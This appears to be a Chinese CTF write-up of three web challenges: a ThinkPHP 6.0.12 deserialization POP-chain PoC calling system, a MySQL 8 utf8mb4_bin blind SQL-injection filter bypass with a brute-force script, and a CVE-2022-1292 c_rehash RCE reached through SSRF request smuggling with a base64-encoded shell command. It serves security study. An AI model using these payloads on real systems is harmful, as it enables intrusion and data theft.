Ezpop
[Thinkphp|反序列化]
ThinkPHP6.0.12LTS反序列化漏洞
app/controller/index.php
文件下有个Index
类,注入点在这。
所以访问/index.php/Index/test/
,POST传值a即可。
POC
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['dir']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
Ezpentest
[mysql8|溢出|utf8mb4_bin]
hint:mysql8的utf8mb4_bin应用
给了过滤代码
<?php
function safe($a)
{
$r = preg_replace('/[\s,()#;*~\-]/', '', $a); //空白,包括空格、换行、tab缩进 () # ; ~ -
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i', '', $r); //带这种union binary regexp rlike直接清空
return (string) $r;
}
''
代替空格,utf8mb4_bin+collate来判断大小写问题,通过溢出报错来盲注
select '1'&&case''when`password`like'f%'collate'utf8mb4_bin'then''else+18446744073709551615+2+''end='0' from flag
写了个POC,但靶机没了,还没测试。
import requests
url = "http://eci-2zeayc165jl9jxovk0pu.cloudeci1.ichunqiu.com:80/login.php"
string = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890^!$"
# string = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
res = ""
length = 32
while length > -1:
check = False
for i in string:
if i == '^' or i == '!' or i == '$':
i = '\\\\' + i
payload = "1'&&case''when`password`like'{0}{1}%'collate'utf8mb4_bin'then''else+18446744073709551615+2+''end='0".format(res, i)
# payload = "1'||case''when`username`regexp'^{0}{1}'collate'utf8mb4_bin'then''else~0+~0+'1'end='0".format(res, i)
json = {"username": payload, "password": "123"}
r = requests.post(url=url, data=json)
print(r.text,r.status_code)
print(payload)
exit()
if r.status_code != 500:
res += i
print(res)
check = True
break
if not check:
print('error')
break
length -= 1
print(res)
online_crt
[SSRF|openssl]
CVE-2022-1292
这题出的很好,要求其实不深,各方面知识融合的很不错,我很喜欢。虽然当时没做出来。
通过commit大致能判断漏洞点在$fname
能RCE。
源码执行了c_rehash
。
表单提交创建crt。
还有个给内网发送数据的proxy。
main.go里还有重命名的接口。
思路很清晰:创建crt->SSRF重命名->访问/createlink
进行RCE。
本地起个环境复现一下。
首先先测试下SSRF。
GET,但是表单,所以
改一改代码
说明这样能传
一开始老想着这里可以用curl的解析绕过去SSRF,但这哪来的curl,实属魔怔。
但实际上这里有个验证:
加上这里的请求包格式,很有请求走私的味道。可惜当时脑子没转过弯来。
还好之前打过ISCC的一题gunicorn的请求走私,稍微加深了点印象,不然理解这玩意都有丶难度。
请求走私大概可以理解为:ABC三个GET请求,AC是正常请求,B是恶意请求。将ABC包裹在一起发送->前端/中间件接收后解析为AB+C然后转发给后端->后端解析为A+BC。这样就绕过了前端的限制。两个好人把一个坏人夹在中间通过验证,所以是走私。
这里虽然没有中间件前端分离,但其实也差不多,也是将多个请求包裹到一起发送过去
proxy起的就是一个中间件的作用,gunicorn之前的那个走私洞是利用数据包长度来包裹,这里就没有那么麻烦了,构造好格式原模原样转发。
然后这样构造一下,注意最后有两个/r/n
,这是http协议决定的。
因为在这里第三个数据包没用,所以加个Connection: close
直接截断。
GET /proxy HTTP/1.1
Host: 192.168.110.131:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
uri=/%2561dmin/rename?oldname=789%26newname=789 HTTP/1.1
Host: admin
Connection: close
debug看看输出,红框有用,下面的没用就不用管格式了。
后端也是接收到了。
注意:由于后端有个rawpath验证,
去翻了翻文档大概就是不进行urldecode,传过去怎样就是这样。
奇怪的是如果传进去的数据不带urlencode的字符串,就会检测为空!
情况1 没有url编码
情况2 一次url编码
因为前端会进行一次url解码,所以传过去的数据需要urlencode两次。
c_rehash
里有个后缀检测,所以需要加个后缀。
也就是说/admin
->/%2561dmin
打/
的话会导致问题,所以最好base64一下
echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|bash>1.txt
奇怪的是,本地复现可以用${IFS}
来替换空格,比赛的时候不行,怪哉。所以比赛环境将空格进行两次urlencode加密即可。
echo%2520Y2F0IC9mbGFn|base64%2520-d|bash>1.txt
最后再访问/createlink
就执行命令了。
最后值得注意的是这里给的是ls static/crt/
的回显,所以需要写入文件看回显,不能直接回显!比赛的时候在这里浪费了很多时间。